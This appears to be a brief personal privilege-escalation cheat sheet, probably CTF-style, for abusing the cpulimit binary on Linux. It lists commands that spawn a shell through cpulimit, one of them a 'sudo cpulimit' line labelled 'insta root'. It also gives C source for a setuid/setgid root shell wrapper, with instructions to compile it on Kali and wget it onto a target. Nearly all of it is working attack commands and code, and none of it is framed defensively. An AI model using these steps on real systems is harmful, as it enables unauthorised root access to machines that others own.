/usr/bin/cpulimit

Once you get the shell craft a simple C exploit on kali, then wget into target

#Escape the current shell

/usr/bin/cpulimit -l 95 -f /bin/bash

or

cpulimit -l 100 -f /bin/sh

#insta root
sudo cpulimit -l 100 -f /bin/sh

#C exploit

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void) {
              setuid(0);
              setgid(0);
              system ("/bin/bash");
              return 0;
}